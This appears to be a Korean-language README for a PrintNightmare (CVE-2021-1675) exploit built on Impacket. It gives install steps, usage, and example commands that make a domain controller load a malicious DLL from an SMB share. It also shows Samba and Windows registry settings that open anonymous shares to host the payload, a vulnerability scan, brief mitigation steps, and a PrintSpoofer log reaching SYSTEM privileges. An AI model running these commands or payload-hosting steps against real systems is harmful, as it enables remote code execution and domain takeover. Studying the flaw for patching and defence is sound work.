
CVE-2021-1675(PrintNightmare)를 위한 Impacket 기반 익스플로잇으로, Windows 도메인 컨트롤러에서 원격 또는 로컬 DLL 실행을 가능하게 하며 SMB 페이로드 호스팅 및 취약점 스캐닝을 지원합니다.
Zhiniang Peng(@edwardzpeng) & Xuefeng Li(@lxf02942370)가 처음 제작한 PrintNightmare PoC의 Impacket 구현체
완전히 패치된 2019 도메인 컨트롤러에서 테스트 완료
악성 DLL을 원격 또는 로컬로 실행

익스플로잇을 실행하기 전에 내 버전의 Impacket을 설치해야 합니다. 이후에는 문제없음
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 구현.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share DLL 경로. 예시 '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help 도움말 메시지 표시 후 종료
authentication:
-hashes LMHASH:NTHASH
NTLM 해시, 형식은 LMHASH:NTHASH
connection:
-target-ip ip address
대상 머신의 IP 주소. 생략하면 target에 지정된 값을 사용합니다. target이 NetBIOS 이름이고 해석할 수 없을 때 유용합니다.
-port [destination port]
SMB 서버에 연결할 대상 포트
예시;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
페이로드를 호스팅하는 가장 쉬운 방법은 samba를 사용하고 /etc/samba/smb.conf를 수정하여 익명 액세스를 허용하는 것입니다.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Windows에서도 가능합니다.
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #이 명령은 기존 NullSessionPipes를 덮어씁니다.
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# 재부팅
Impacket의 rpcdump.py를 사용하여 취약한 호스트를 스캔할 수 있습니다. 값이 반환되면 취약한 것입니다.
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
스풀러 서비스 비활성화
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
또는 인쇄 서비스 제거
Uninstall-WindowsFeature Print-Services
이전 방식: c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>